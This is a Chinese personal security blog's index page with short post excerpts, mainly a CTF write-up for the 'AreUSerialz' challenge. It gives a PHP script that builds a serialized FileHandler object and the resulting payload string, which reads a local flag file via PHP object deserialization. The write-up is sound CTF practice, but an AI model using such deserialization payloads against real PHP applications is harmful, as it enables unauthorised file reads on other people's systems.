0%

第一次尝试搭建博客,到此也成功了,稍微有些话想说。

关于创建博客

  我其实老早就应该搭建了,怪自己太懒,把资料一存放电脑里了。结果很多资料因为双系统的崩溃而丢失,只好重装系统,觉得十分可惜,惭愧惭愧,于是在放假期间进行了资料整理统一,避免重蹈覆辙。博客内容偏向资料收集与个人写的一些wp。

原以为开始实习了以后会有很多独立的时间去自己研究,结果发现怎么老是出差….orz

Cybrics的题目类型分的挺细,但是没打上…

比赛就看了一题WoC,跟进一下,慢慢复现补完。

阅读全文 »

AreUSerialz

根据代码,直接读,刚开始还以为那个过滤要绕,结果不需要。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
<?php

//include("flag.php");

class FileHandler {

public $op=2;
public $filename="file:///web/html/flag.php";

function __construct() {
$this->process();
}

public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}

private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}

private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}

private function output($s) {
echo "[Result]: <br>";
echo $s;
}

function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}

}
$str = new FileHandler();
echo serialize($str);

O:11:”FileHandler”:2:{s:2:”op”;i:2;s:8:”filename”;s:25:”file:///web/html/flag.php”;}

emmmm,不懂怎么描述看雪的这题WEB…

第一次写题目这么快…但还是记录一下这题虽然不太清楚想考什么…

阅读全文 »

记录一下de1ctf的一些题目,过程有点自闭,但是看完wp觉得出的还不错。

阅读全文 »

真的是放假在老家与世隔绝久了,题目都写不出来了…还坑了队友,emmmm先记录一下再说。

阅读全文 »

密码学的实验报告,密码学真的难,DES完全是只知道思路但是写不出代码,最后到github参考了别人的代码才勉强修改完成,哈希稍微好些,可以选择,选了SHA-256以后简单的做了一个不加盐的函数,但是仍旧不是自己完全写出来的成果,ORZ…
过程很辛苦,查了很多资料,看了很多别人的实现方法,还是记录一下。

阅读全文 »

疫情四起无法去校,同学说这个平台题目不错,故此刷一刷。(持续更新)

阅读全文 »